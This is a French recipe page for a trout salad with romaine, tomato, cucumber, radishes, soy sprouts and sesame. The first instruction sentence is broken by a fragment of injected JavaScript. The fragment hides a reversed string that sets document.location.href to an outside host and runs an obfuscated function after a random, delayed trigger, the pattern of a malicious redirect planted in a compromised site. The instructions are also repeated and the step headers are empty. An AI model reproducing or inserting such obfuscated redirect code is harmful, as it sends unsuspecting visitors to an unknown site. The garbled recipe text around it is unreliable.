Salade composée avec des truites
2018-02-14- Cuisine : Salade
- Thématique : Végétarien
- Niveau : Facile
Effeuillez les filets de truite. Triez, rincez, essorez la salade romaine. Rincez, épépinez, coupez la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate en petits dés. Pelez et coupez en petits dés le concombre.
Ingrédients
Effeuillez les filets de truite. Triez, rincez, essorez la salade romaine. Rincez, épépinez, coupez la tomate en petits dés. Pelez et coupez en petits dés le concombre. Enlevez les fanes de radis. Rincez, coupez en rondelles les radis. Dans un saladier préparez la vinaigrette en mélangeant le sel, poivre, moutarde, vinaigre, huile. Émulsionnez avec un fouet.
Déposez la salade romaine, mélangez. Répartissez quelques feuilles de salade sur chaque assiette, déposez les morceaux de truites, les radis, le concombre, les pousses de soja, arrosez de vinaigrette, mélangez délicatement. Saupoudrez de graines de sésame. Dégustez.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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